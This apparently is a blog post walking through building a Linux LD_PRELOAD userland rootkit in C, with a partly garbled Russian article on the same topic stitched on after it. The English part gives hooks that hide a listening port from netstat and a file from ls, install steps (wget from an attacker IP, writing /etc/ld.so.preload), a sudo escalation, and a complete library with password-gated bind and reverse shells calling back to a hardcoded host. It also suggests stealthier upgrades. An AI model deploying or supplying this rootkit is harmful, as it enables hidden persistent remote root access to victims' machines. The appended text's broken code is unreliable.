write(1, "Active Internet connections (ser"..., 4096Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 0.0.0.0:65065           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp6       0      0 :::65065                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::22                   :::*                    LISTEN      off (0.00/0/0)
udp        0      0 0.0.0.0:68              0.0.0.0:*                           off (0.00/0/0)
raw6       0      0 :::58                   :::*                    7           off (0.00/0/0)

So the first thing we’re seeing is that we use execve() to call it, we then see it opening /proc/net/tcp in read only mode and reading 450 bytes from the file and then closing. Later, it then writes all of that data to stdout. Pretty straight forward stuff.

Let’s pop open /proc/net/tcp for ourselves and see what’s there:

tokyo:~/LearningC/ # cat /proc/net/tcp                                                                                      
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:FE29 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107639 1 c563dbf8 100 0 0 10 0                            
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 73178 1 cb66d650 100 0 0 10 0               

So we see the same information that was printed to the terminal in hex representation. FE29 is 65065 in hex and since we’re listening on the local 0.0.0.0 interface, it’s prepended by 00000000. There is no remote address information because we’re not connected.

So netstat reads this file and then stores that in a read buffer which is then interpreted and written to the terminal.

We need a way to intercept a portion of this process and alter the results so that the FE29 entries are not passed back to the end user of netstat. To accomplish this, I created an fopen() hook which is a higher-level wrapper function and not quite a syscall like open(). netstat actually calls fopen() which in turn calls lower level functions and syscalls. Here is the entire hook, and we will explain the whole thing:

FILE *(*orig_fopen)(const char *pathname, const char *mode);
FILE *fopen(const char *pathname, const char *mode)
{
	orig_fopen = dlsym(RTLD_NEXT, "fopen");

	char *ptr_tcp = strstr(pathname, "/proc/net/tcp");

	FILE *fp;

	if (ptr_tcp != NULL)
	{
		char line[256];
		FILE *temp = tmpfile();
		fp = orig_fopen(pathname, mode);
		while (fgets(line, sizeof(line), fp))
		{
			char *listener = strstr(line, KEY_PORT);
			if (listener != NULL)
			{
				continue;
			}
			else
			{
				fputs(line, temp);
			}
		}
		return temp;

	}

	fp = orig_fopen(pathname, mode);
	return fp;
}

Let’s explain this line by line:

  • FILE *(*orig_fopen)(const char *pathname, const char *mode); we are declaring a pointer to the function orig_fopen which has the exact definition of the legitimate fopen() function. This will later become our reference to the real function;
  • FILE *fopen(const char *pathname, const char *mode) this is our hook, this is what the calling program sees and recognizes as the offical definition of fopen();
  • orig_fopen = dlsym(RTLD_NEXT, "fopen"); we are initializing the pointer we declared earlier. We now have the address of the real fopen() function so that we can pass execution to it when needed;
  • char *ptr_tcp = strstr(pathname, "/proc/net/tcp"); we are declaring a pointer that will be initialized if the pathname passed as an argument to fopen() by the calling program has a substring match with "/proc/net/tcp";
  • FILE *fp; we are using the FILE keyword to declare a pointer named fp that is of the FILE structure type. This will be normally the type of returned variable type of an fopen() function call so we need to initialize this with a fopen() call later;
  • if (ptr_tcp != NULL) if there’s a match, and the file being opened is our /proc/net/tcp, do something;
  • char line[256]; we are declaring a character array of 255 bytes and a null terminator;
  • FILE *temp = tmpfile(); we are declaring AND initializing another FILE pointer, this one named temp, which points to a temporary file that lives in /tmp as long as netstat is running;
  • fp = orig_fopen(pathname, mode); we’ve now finally initialized the fp FILE pointer and we have a pointer to the /proc/net/tcp file that’s been opened;
  • while (fgets(line, sizeof(line), fp)) we are using fgets() to grab a line of the fp (/proc/net/tcp) file at a time. As long as there are lines to grab (while True), do something;
  • char *listener = strstr(line, KEY_PORT); we are declaring a pointer named listener that will be initialized if there is a substring match between the line we just collected from /proc/net/tcp and KEY_PORT which we have defined as FE29 (the hex representation of 65065);
  • Next, we have an if statement if (listener != NULL) so that if listener isn’t NULL, we continue meaning, we won’t actually do anything with that line, leave that line in the ether;
  • BUT, if the pointer isn’t NULL, we fputs(line, temp); which means that we place that line in our temporary file;
  • return temp; here we just return temp, which is the result of our fopen() function to our temporary file, back to the end-user for futher processing;
  • finally, if /proc/net/tcp is NOT being opened, we simply pass execution to the real fopen() with fp = orig_fopen(pathname, mode); and return fp;.

Phew, that was quite a bit. I was quite proud of this one, there is definitely a memory leak in here somewhere but it works! When the user calls netstat its going to open /proc/net/tcp our hook will then create a temporary file and copy everything BUT our malicious connection into the temporary file and then present that temporary file to the end user. As a bonus, that file only lives on disk in /tmp for as long as netstat runs, which is not very long. That owns.

This hook also destroys lsof ability to check the port as well. I’m not quite sure how this is accomplished yet, but we’ve effectively hidden from two powerful utilities with our simple C.

Hiding from /bin/ls

After consulting some resources, namely this explanation of ls here, I knew I had to hook the readdir() function which again is a higher-level wrapper which calls getdents(). We can see this in the strace output:

tokyo:~/LearningC/ # strace /bin/ls                                                                                                     execve("/bin/ls", ["/bin/ls"], 0xbfbf4890 /* 47 vars */) = 0
-----snip-----
getdents64(3, /* 34 entries */, 32768)  = 1064
getdents64(3, /* 0 entries */, 32768)   = 0
close(3)  

We see that getdents() getting the directory entries for the 3 file descriptor and brings back 34 entries with a size of 1064. So we have to figure out how readdir() works.

The manpage defines the function: struct dirent *readdir(DIR *dirp);.

So it returns a pointer to the next dirent structure in the directory. Here is the definition in glibc of the dirent struct:

struct dirent {
               ino_t          d_ino;       /* Inode number */
               off_t          d_off;       /* Not an offset; see below */
               unsigned short d_reclen;    /* Length of this record */
               unsigned char  d_type;      /* Type of file; not supported
                                              by all filesystem types */
               char           d_name[256]; /* Null-terminated filename */
           }

The only member that is mandatory in the structure is the d_name which is the null-terminated filename of the entry. That seems pretty easy actually. We can actually key in on this fact, that d_name is mandatory, and compare its value for entries to a string, such as rootkit.txt and somehow manipulate the function to skip our entries. Let’s actually do that! Here is our hook for readdir():

struct dirent *(*old_readdir)(DIR *dir);
struct dirent *readdir(DIR *dirp)
{
    old_readdir = dlsym(RTLD_NEXT, "readdir");

    struct dirent *dir;

    while (dir = old_readdir(dirp))
    {
        if(strstr(dir->d_name,FILENAME) == 0) break;
    }
    return dir;
}

I got this hook from basically just following the walkthrough on this blog: https://ketansingh.net/overview-on-linux-userland-rootkits/

We can go through it piece by piece:

  • struct dirent *(*old_readdir)(DIR *dir); same thing as our hook for fopen(), we’re declaring a function that will later be initialized to point towards the address of the real readdir();
  • struct dirent *readdir(DIR *dirp) we are declaring a function which perfectly matches the definition of the legitimate readdir() function;
  • old_readdir = dlsym(RTLD_NEXT, "readdir"); we are initializing the function we declared so that it points to the real readdir();
  • while (dir = old_readdir(dirp)) we are saying, while it is true that the legitimate readdir() is still iterating through directory entries and returning a value, do something;
  • if(strstr(dir->d_name,FILENAME) == 0) break; we are comparing FILENAME, which is a definiton, to the d_name member of the dir struct returned by our old_readdir() and if a match is found (that is, a 0 is returned), we are breaking on that entry and skipping over it;
  • finally, we return dir to complete the function’s called purpose.

With this setup, we can hide arbitrary files from /bin/ls.

Actually Using the Damn Rootkit

Let’s actually use this thing. Let’s pretend we’re root on our victim machine, and it’s time to install the malicious library.

  1. Let’s set all the definitions specific for the victim host and compile the library. Let’s give it a non-descriptive name, something that will blend in to the naked eye. (And let’s put “man” in the file name because Manteau). Let’s compile our C file with: gcc manteau.c -fPIC -shared -D_GNU_SOURCE -o libc.man.so.6 -ldl
  2. Let’s wget that to the victim, in our case an i386 Ubuntu machine running SSH.
    root@ubuntu:/home/manteau# wget http://192.168.1.218/libc.man.so.6
    
  3. Let’s move it to the correct library that other shared libaries reside, on our victim that’s in /lib/i386-linux-gnu/
    root@ubuntu:/home/manteau# mv libc.man.so.6 /lib/i386-linux-gnu/libc.man.so.6
    
  4. Let’s now put a reference to our malicious shared library in the /etc/ld.so.preload file.
    root@ubuntu:/home/manteau# echo "/lib/i386-linux-gnu/libc.man.so.6" > /etc/ld.so.preload
    
  5. Let’s check that it took by using ldd on something like /bin/ls and see if our malicious library is the first shared library loaded into memory.
    root@ubuntu:/home/manteau# ldd /bin/ls
     linux-gate.so.1 =>  (0xb7f06000)
     /lib/i386-linux-gnu/libc.man.so.6 (0xb7efc000)
     libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7ec0000)
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d0a000)
     libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7d05000)
     libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7c90000)
     /lib/ld-linux.so.2 (0xb7f08000)
     libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7c73000)
    
  6. Hell yes. It worked. Ours is the second entry. Let’s restart syslog and then get a connection. We’ll use the trigger for plaintext reverse shell on port 443 on our attacker.
    root@ubuntu:/home/manteau# systemctl restart ssh
    
  7. Start a listener, and send our trigger.
    tokyo:~/LearningC/ # nc -lvp 443 -4                                                                                                      Ncat: Version 7.80 ( https://nmap.org/ncat )
    Ncat: Listening on 0.0.0.0:443
    
    tokyo:~/LearningC/ # ssh reverseshell4@192.168.1.192               
    reverseshell4@192.168.1.192's password: 
    
    tokyo:~/LearningC/ # nc -lvp 443                                   
    Ncat: Version 7.80 ( https://nmap.org/ncat )
    Ncat: Listening on :::443
    Ncat: Listening on 0.0.0.0:443
    Ncat: Connection from 192.168.1.192.
    Ncat: Connection from 192.168.1.192:65065.
    
  8. Let’s use our sudo privs we left ourselves and escalate to root real quick
    id
    uid=104(syslog) gid=108(syslog) groups=108(syslog),4(adm)
    sudo su
    id
    uid=0(root) gid=0(root) groups=0(root)
    
  9. Let’s check netstat for our malicious connection on the victim,
    root@ubuntu:/home/manteau# netstat -ano | grep -v unix
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
    udp        0      0 127.0.1.1:53            0.0.0.0:*                           off (0.00/0/0)
    udp        0      0 0.0.0.0:68              0.0.0.0:*                           off (0.00/0/0)
    udp        0      0 0.0.0.0:631             0.0.0.0:*                           off (0.00/0/0)
    udp        0      0 0.0.0.0:43212           0.0.0.0:*                           off (0.00/0/0)
    udp        0      0 0.0.0.0:5353            0.0.0.0:*                           off (0.00/0/0)
    udp        0      0 0.0.0.0:33102           0.0.0.0:*                           off (0.00/0/0)
    udp6       0      0 :::52795                :::*                                off (0.00/0/0)
    udp6       0      0 :::5353                 :::*                                off (0.00/0/0)
    raw6       0      0 :::58                   :::*                    7           off (0.00/0/0)
    Active UNIX domain sockets (servers and established)
    Proto RefCnt Flags       Type       State         I-Node   Path
    
  10. Awesome. Our connection on local port 65065 is not shown. Let’s try looking in /etc for /etc/ld.so.preload which was the file I chose to hide.
    root@ubuntu:/home/manteau# ls -lah /etc
    -----snip-----
    -rw-r--r--   1 root root    110 Feb 20  2019 kernel-img.conf
    -rw-r--r--   1 root root   1.3K Mar 10  2016 kerneloops.conf
    drwxr-xr-x   2 root root   4.0K Sep 22 06:46 ldap
    -rw-r--r--   1 root root    88K Oct  1 18:40 ld.so.cache
    -rw-r--r--   1 root root     34 Jan 27  2016 ld.so.conf
    drwxr-xr-x   2 root root   4.0K Jun  1 12:18 ld.so.conf.d
    -rw-r--r--   1 root root    267 Oct 22  2015 legal
    -rw-r--r--   1 root root     27 Jan  7  2015 libao.conf
    -rw-r--r--   1 root root    191 Jan 18  2016 libaudit.conf
    -----snip-----
    
  11. Finally, /etc/ld.so.preload is hidden and this is good because I think on most systems it wouldn’t exist.

Potential Upgrades for the Library

If you liked this post, and you want to take the library further, I have some ideas on what can be improved:

  • Get rid of the syslog trigger, and develop a trigger for the sshd service itself, that way we can get on the box as root without any privesc bread crumbs
  • Code up an openssl back connect client/server program so we can get encrypted comms
  • Do away with the magic port number hook and instead implement a magic GID which you can set as root on the processes you run
  • Extra Bonus: Patch the dynamic linker so that it doesn’t reference /etc/ld.so.preload but silently references a different directory which you have hidden. The dynamic linker should still report that it checks /etc/ld.so.preload but we will know better :)

Conclusion

With some creative thinking and copy/paste, we were able to do quite a lot of bad things with some simple C. A lot of systems programming is done in C. If we want to get good at binary exploitation, reverse engineering, vulnerability research, etc., we’re going to have to be comfortable with C.

Outside of my solution for hiding from netstat, a lot of these ideas have been done before and I leaned heavily on reference material. I’ll include a resources section at the bottom.

Complete Malicious Library

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <dlfcn.h>
#include <dirent.h>
#include <arpa/inet.h>
//bind-shell definitions
#define KEY_4 "notavaliduser4"
#define KEY_6 "notavaliduser6"
#define PASS "areallysecurepassword1234!@#$"
#define LOC_PORT 65065
//reverse-shell definitions
#define KEY_R_4 "reverseshell4"
#define KEY_R_6 "reverseshell6"
#define REM_HOST4 "192.168.1.217"
#define REM_HOST6 "::1"
#define REM_PORT 443
//filename to hide
#define FILENAME "ld.so.preload"
//hex represenation of port to hide for /proc/net/tcp reads
#define KEY_PORT "FE29"

int ipv6_bind (void)
{
    struct sockaddr_in6 addr;
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(LOC_PORT);
    addr.sin6_addr = in6addr_any;

    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);

    const static int optval = 1;

    setsockopt(sockfd, IPPROTO_IPV6, IPV6_V6ONLY, &optval, sizeof(optval));

    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    listen(sockfd, 0);

    int new_sockfd = accept(sockfd, NULL, NULL);

    for (int count = 0; count < 3; count++)
    {
        dup2(new_sockfd, count);
    }

    char input[30];

    read(new_sockfd, input, sizeof(input));
    input[strcspn(input, "n")] = 0;
    if (strcmp(input, PASS) == 0)
    {
        execve("/bin/sh", NULL, NULL);
        close(sockfd);
    }
    else 
    {
        shutdown(new_sockfd, SHUT_RDWR);
        close(sockfd);
    }
    
}

int ipv4_bind (void)
{
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LOC_PORT);
    addr.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    const static int optval = 1;

    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    listen(sockfd, 0);

    int new_sockfd = accept(sockfd, NULL, NULL);

    for (int count = 0; count < 3; count++)
    {
        dup2(new_sockfd, count);
    }

    char input[30];

    read(new_sockfd, input, sizeof(input));
    input[strcspn(input, "n")] = 0;
    if (strcmp(input, PASS) == 0)
    {
        execve("/bin/sh", NULL, NULL);
        close(sockfd);
    }
    else 
    {
        shutdown(new_sockfd, SHUT_RDWR);
        close(sockfd);
    }
    
}

int ipv6_rev (void)
{
    const char* host = REM_HOST6;

    struct sockaddr_in6 addr;
    addr.sin6_family = AF_INET6;
    addr.sin6_port = htons(REM_PORT);
    inet_pton(AF_INET6, host, &addr.sin6_addr);

    struct sockaddr_in6 client;
    client.sin6_family = AF_INET6;
    client.sin6_port = htons(LOC_PORT);
    client.sin6_addr = in6addr_any;

    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);

    bind(sockfd, (struct sockaddr*) &client, sizeof(client));

    connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    for (int count = 0; count < 3; count++)
    {
        dup2(sockfd, count);
    }

    execve("/bin/sh", NULL, NULL);
    close(sockfd);

    return 0;
}

int ipv4_rev (void)
{
    const char* host = REM_HOST4;

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(REM_PORT);
    inet_aton(host, &addr.sin_addr);

    struct sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_port = htons(LOC_PORT);
    client.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    bind(sockfd, (struct sockaddr*) &client, sizeof(client));

    connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    for (int count = 0; count < 3; count++)
    {
        dup2(sockfd, count);
    }

    execve("/bin/sh", NULL, NULL);
    close(sockfd);

    return 0;
}

ssize_t write(int fildes, const void *buf, size_t nbytes)
{
    ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);

    ssize_t result;

    new_write = dlsym(RTLD_NEXT, "write");


    char *bind4 = strstr(buf, KEY_4);
    char *bind6 = strstr(buf, KEY_6);
    char *rev4 = strstr(buf, KEY_R_4);
    char *rev6 = strstr(buf, KEY_R_6);

    if (bind4 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_bind();
    }

    else if (bind6 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_bind();
    }

    else if (rev4 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_rev();
    }

    else if (rev6 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_rev();
    }

    else
    {
        result = new_write(fildes, buf, nbytes);
    }

    return result;
}

struct dirent *(*old_readdir)(DIR *dir);
struct dirent *readdir(DIR *dirp)
{
    old_readdir = dlsym(RTLD_NEXT, "readdir");

    struct dirent *dir;

    while (dir = old_readdir(dirp))
    {
        if(strstr(dir->d_name,FILENAME) == 0) break;
    }
    return dir;
}


struct dirent64 *(*old_readdir64)(DIR *dir);
struct dirent64 *readdir64(DIR *dirp)
{
    old_readdir64 = dlsym(RTLD_NEXT, "readdir64");

    struct dirent64 *dir;

    while (dir = old_readdir64(dirp))
    {
        if(strstr(dir->d_name,FILENAME) == 0) break;
    }
    return dir;
}

FILE *(*orig_fopen64)(const char *pathname, const char *mode);
FILE *fopen64(const char *pathname, const char *mode)
{
	orig_fopen64 = dlsym(RTLD_NEXT, "fopen64");

	char *ptr_tcp = strstr(pathname, "/proc/net/tcp");

	FILE *fp;

	if (ptr_tcp != NULL)
	{
		char line[256];
		FILE *temp = tmpfile64();
		fp = orig_fopen64(pathname, mode);
		while (fgets(line, sizeof(line), fp))
		{
			char *listener = strstr(line, KEY_PORT);
			if (listener != NULL)
			{
				continue;
			}
			else
			{
				fputs(line, temp);
			}
		}
		return temp;
	}

	fp = orig_fopen64(pathname, mode);
	return fp;
}

FILE *(*orig_fopen)(const char *pathname, const char *mode);
FILE *fopen(const char *pathname, const char *mode)
{
	orig_fopen = dlsym(RTLD_NEXT, "fopen");

	char *ptr_tcp = strstr(pathname, "/proc/net/tcp");

	FILE *fp;

	if (ptr_tcp != NULL)
	{
		char line[256];
		FILE *temp = tmpfile();
		fp = orig_fopen(pathname, mode);
		while (fgets(line, sizeof(line), fp))
		{
			char *listener = strstr(line, KEY_PORT);
			if (listener != NULL)
			{
				continue;
			}
			else
			{
				fputs(line, temp);
			}
		}
		return temp;

	}

	fp = orig_fopen(pathname, mode);
	return fp;
}

References

I apologize if I left anyone off, writing this thing was a blur, I had so many tabs open that they barely could fit favicons on them.

  • /bin/ls explanation
  • lsof guide
  • ephermeral port allocation
  • Jynx explainer
  • userland LD_PRELOAD rootkits
  • hooking shared library functions
  • socket programming in C
  • @epi052 socket programming recommendation
  • Jynx2 source code
  • ipv6 socket programming
  • iamrastating socket programming
  • detecting and analyzing LD_PRELOAD rootkits

Как написать локер, шифровальщик и вирус на Python

Содержание

  • 1 Переопределение системных вызовов
  • 2 Обработка сбоев
  • 3 Скрываем файл из листинга ls
    • 3.1 Используем /etc/ld.so.preload
  • 4 Скрываем ld.so.preload
  • 5 Погружаемся глубже
  • 6 Скрываем процесс с помощью LD_PRELOAD
    • 6.1 libprocesshider
  • 7 Sysdig как решение

В ник­сах сущес­тву­ет перемен­ная сре­ды, при ука­зании которой ваши биб­лиоте­ки будут заг­ружать­ся рань­ше осталь­ных. А это зна­чит, что появ­ляет­ся воз­можность под­менить сис­темные вызовы. Называ­ется перемен­ная
LD_PRELOAD, и в этой статье мы под­робно обсу­дим ее зна­чение в сок­рытии (и обна­руже­нии!) рут­китов.

Еще по теме: Способы получить права root в Linux

Офи­циаль­но глав­ное пред­назна­чение LD_PRELOAD — отладка или про­вер­ка фун­кций в динами­чес­ки под­клю­чаемых биб­лиоте­ках. Если не хотите исправ­лять и переком­пилиро­вать саму биб­лиоте­ку, то мож­но вос­поль­зовать­ся перемен­ной сре­ды.

К при­меру, если нам нуж­но пред­загру­зить биб­лиоте­ку ld.so, то у нас будет два спо­соба:

  1. Ус­тановить перемен­ную сре­ды
    LD_PRELOAD с фай­лом биб­лиоте­ки.
  2. За­писать путь к биб­лиоте­ке в файл
    /<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload.

В пер­вом слу­чае мы объ­явля­ем перемен­ную с биб­лиоте­кой для текуще­го поль­зовате­ля и его окру­жения. Во вто­ром же наша биб­лиоте­ка будет заг­ружена рань­ше осталь­ных для всех поль­зовате­лей сис­темы.

Нам инте­ресен как раз вто­рой спо­соб: имен­но он час­то исполь­зует­ся в рут­китах для перех­вата некото­рых вызовов, таких как чте­ние фай­ла, лис­тинг дирек­тории, про­цес­сов и про­чих фун­кций, поз­воля­ющих зло­умыш­ленни­ку скры­вать свое при­сутс­твие в сис­теме.


Вся информация предоставлена исключительно в ознакомительных целях. Статья написана для пентестеров. Ни автор, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Переопределение системных вызовов

Преж­де чем мы нач­нем сбли­жение с реаль­ными фун­кци­ями рут­китов, давайте на неболь­шом при­мере покажу, как мож­но перех­ватить вызов стан­дар­тной фун­кции malloc().

Для это­го напишем прос­тую прог­рамму, которая выделя­ет блок памяти с помощью фун­кции
malloc(<wbr />), затем помеща­ет в него фун­кци­ей
strncpy(<wbr />) стро­ку
Ill <wbr />be <wbr />back и выводит ее пос­редс­твом
fprintf(<wbr />) по адре­су, который вер­нула
malloc(<wbr />).

Соз­даем файл
call_malloc.<wbr />c:

#include

#include

#include

#include

int main()

{

    char *alloc = (char *)malloc(0x100);

    strncpy(alloc, «I’ll be back», 14);

    fprintf(stderr, «malloc(): %pnStr: %sn», alloc, alloc);

}

Те­перь напишем прог­рамму, пере­опре­деля­ющую
malloc(<wbr />). Внут­ри — фун­кция с тем же име­нем, что и в libc. Наша фун­кция не дела­ет ничего, кро­ме вывода стро­ки в 
STDERR c помощью
fprintf(<wbr />). Соз­дадим файл
libmalloc.<wbr />c:

#define _GNU_SOURCE

#include

#include

#include

void *malloc(size_t size)

{

    fprintf(stderr, «nHijacked malloc(%ld)nn», size);

    return 0;

}

Те­перь с помощью GCC ском­пилиру­ем наш код:

$ ls

call_malloc.c  libmalloc.c

$ gcc Wall fPIC shared o libmalloc.so libmalloc.c ldl

$ gcc o call_malloc call_malloc.c

$ ls

call_malloc  call_malloc.c  libmalloc.c  libmalloc.so

Вы­пол­ним нашу прог­рамму
call_malloc:

$ ./call_malloc

malloc(): 0x5585b2466260

Str: Ill be back

Пос­мотрим, какие биб­лиоте­ки исполь­зует наша прог­рамма, с помощью ути­литы ldd:

$ ldd ./call_malloc

   linuxvdso.so.1 (0x00007fff0cd81000)

   libc.so.6 => /lib/x86_64linuxgnu/libc.so.6 (0x00007f0d35c74000)

   /lib64/ldlinuxx8664.so.2 (0x00007f0d35e50000)

От­лично вид­но, что без исполь­зования пред­загруз­чика
LD_PRELOAD стан­дар­тно заг­ружа­ются три биб­лиоте­ки:

  1. linuxvdso.<wbr />so.<wbr />1 — пред­став­ляет собой вир­туаль­ный динами­чес­кий раз­деля­емый объ­ект (Virtual Dynamic Shared Object, VDSO), исполь­зуемый для опти­миза­ции час­то исполь­зуемых сис­темных вызовов. Его мож­но игно­риро­вать (под­робнее —
    man <wbr />7 <wbr />vdso).
  2. libc.<wbr />so.<wbr />6 — биб­лиоте­ка libc с исполь­зуемой нами фун­кци­ей
    malloc(<wbr />) в прог­рамме
    call_malloc.
  3. ldlinuxx8664.<wbr />so.<wbr />2 — сам динами­чес­кий ком­понов­щик.

Те­перь давайте опре­делим перемен­ную
LD_PRELOAD и поп­робу­ем перех­ватить
malloc(<wbr />). Здесь я не буду исполь­зовать export и огра­ничусь однос­троч­ной коман­дой для прос­тоты:

$ LD_PRELOAD=./libmalloc.so ./call_malloc

Hijacked malloc(256)

Ошиб­ка сег­менти­рова­ния

Мы успешно перех­ватили
malloc(<wbr />) из биб­лиоте­ки
libc.<wbr />so, но сде­лали это не сов­сем чис­то. Фун­кция воз­вра­щает зна­чение ука­зате­ля NULL, что при разыме­нова­нии
strncpy(<wbr />) в прог­рамме
./<wbr />call_malloc вызыва­ет ошиб­ку сег­менти­рова­ния. Испра­вим это.

Еще по теме: Перехват вызовов функций WinAPI

Обработка сбоев

Что­бы иметь воз­можность незамет­но выпол­нить полез­ную наг­рузку рут­кита, нам нуж­но вер­нуть зна­чение, которое вер­нула бы пер­воначаль­но выз­ванная фун­кция. У нас есть два спо­соба решить эту проб­лему:

  • на­ша фун­кция
    malloc(<wbr />) дол­жна реали­зовы­вать фун­кци­ональ­ность
    malloc(<wbr />) биб­лиоте­ки libc по зап­росу поль­зовате­ля. Это пол­ностью изба­вит от необ­ходимос­ти исполь­зовать
    malloc(<wbr />) из 
    libc.<wbr />so;
  • libmalloc.<wbr />so каким‑то обра­зом дол­жна иметь воз­можность вызывать
    malloc(<wbr />) из биб­лиоте­ки libc и воз­вра­щать резуль­таты вызыва­ющей прог­рамме.

Каж­дый раз при вызове
malloc(<wbr />) динами­чес­кий ком­понов­щик вызыва­ет вер­сию
malloc(<wbr />) из 
libmalloc.<wbr />so, пос­коль­ку это пер­вое вхож­дение
malloc(<wbr />). Но мы хотим выз­вать сле­дующее вхож­дение
malloc(<wbr />) — то, что находит­ся в 
libc.<wbr />so.

Так про­исхо­дит потому, что динами­чес­кий ком­понов­щик внут­ри исполь­зует фун­кцию
dlsym(<wbr />) из 
/<wbr />usr/<wbr />include/<wbr />dlfcn.<wbr />h для поис­ка адре­са заг­ружен­ного в память.

По умол­чанию в качес­тве пер­вого аргу­мен­та для 
dlsym(<wbr />) исполь­зует­ся дес­крип­тор
RTLD_DEFAULT, который воз­вра­щает адрес пер­вого вхож­дения сим­вола. Одна­ко есть еще один псев­доука­затель динами­чес­кой биб­лиоте­ки —
RTLD_NEXT, который ищет сле­дующее вхож­дение. Исполь­зуя
RTLD_NEXT, мы можем най­ти фун­кцию
malloc(<wbr />) биб­лиоте­ки
libc.<wbr />so.

От­редак­тиру­ем
libmalloc.<wbr />с. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

#define _GNU_SOURCE

#include

#include

#include

#include

#include

// Определяем макрос, который является

// названием скрываемого файла

#define RKIT «rootkit.so»

// Здесь все то же, что и в примере с malloc()

struct dirent* (*orig_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp)

{

  if (orig_readdir == NULL)

  orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»);

  // Вызов orig_readdir() для получения каталога

  struct dirent *ep = orig_readdir(dirp);

  while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )

          ep = orig_readdir(dirp);

  return ep;

}

В цик­ле про­веря­ется, не NULL ли зна­чение дирек­тории, затем вызыва­ется
strncmp(<wbr />) для про­вер­ки, сов­пада­ет ли
d_name катало­га с RKIT (фай­ла с рут­китом). Если оба усло­вия вер­ны, вызыва­ется фун­кция
orig_readdir(<wbr />) для чте­ния сле­дующей записи катало­га. При этом про­пус­кают­ся все дирек­тории, у которых
d_name начина­ется с 
rootkit.<wbr />so.

Те­перь давайте пос­мотрим, как отра­бота­ет наша биб­лиоте­ка в этот раз. Сно­ва ком­пилиру­ем и смот­рим на резуль­тат работы:

$ gcc Wall fPIC shared o libmalloc.so libmalloc.c ldl

$ LD_PRELOAD=./libmalloc.so ./call_malloc

Hijacked malloc(256)

malloc(): 0x55ca92740260

Str: Ill be back

От­лично! Как мы видим, все прош­ло глад­ко. Сна­чала при пер­вом вхож­дении
malloc(<wbr />) была исполь­зована наша реали­зация этой фун­кции, а затем ори­гиналь­ная реали­зация из биб­лиоте­ки
libc.<wbr />so.

Те­перь, ког­да мы понима­ем, как работа­ет
LD_PRELOAD и каким обра­зом мы можем пре­доп­ределять работу со стан­дар­тны­ми фун­кци­ями сис­темы, самое вре­мя при­менить эти зна­ния на прак­тике.

Поп­робу­ем сде­лать так, что­бы ути­лита ls, ког­да выводит спи­сок фай­лов, про­пус­кала рут­кит.

Скрываем файл из листинга ls

Боль­шинс­тво динами­чес­ки ском­пилиро­ван­ных прог­рамм исполь­зуют сис­темные вызовы стан­дар­тной биб­лиоте­ки libc. С помощью ути­литы ldd пос­мотрим, какие биб­лиоте­ки исполь­зует прог­рамма ls:

$ ldd /bin/ls

...

libc.so.6 => /lib/x86_64linuxgnu/libc.so.6 (0x00007f1ade498000)

...

По­луча­ется, ls динами­чес­ки ском­пилиро­вана с исполь­зовани­ем фун­кций биб­лиоте­ки
libc.<wbr />so. Теперь пос­мотрим, какие сис­темные вызовы для чте­ния дирек­тории исполь­зует ути­лита ls. Для это­го в пус­той дирек­тории выпол­ним
ltrace <wbr />ls:

$ ltrace ls

memcpy(0x55de4a72e9b0, «.», 2)  = 0x55de4a72e9b0

__errno_location()                = 0x7f3a35b07218

opendir(«.»)                      = 0x55de4a72e9d0

readdir(0x55de4a72e9d0)           = 0x55de4a72ea00

readdir(0x55de4a72e9d0)           = 0x55de4a72ea18

readdir(0x55de4a72e9d0)           = 0

